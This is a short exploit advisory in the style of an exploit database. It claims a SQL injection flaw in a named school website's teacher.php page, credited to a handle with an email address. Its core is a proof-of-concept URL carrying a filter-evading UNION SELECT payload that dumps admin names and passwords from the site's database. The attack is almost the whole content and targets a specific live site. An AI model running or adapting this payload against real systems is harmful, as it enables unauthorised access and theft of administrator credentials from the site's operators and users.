-------------------------------------------------------------*
#Exploit Title: gurusaipoly- SQL Injection vulnerability
#Date: 2020-09-27
#Exploit Author: ERa
#Category:webapps
#Tested On: windows 10, Firefox
Proof of Concept:
Demo :
https://gurusaipoly.com/teacher.php?id=-4%27%20/*!50000unIon*/%20/*!50000sElect*/%201,2,3,4,5,6,/*!50000unHex(hEx(gRoup_concAt(name,%27:%27,password)))*/%20/*!50000frOm*/%20admin%20--+
-------------------------------------------------------------*
#Discovered by: ERa
#Email: era_reborn@yahoo.com
-------------------------------------------------------------*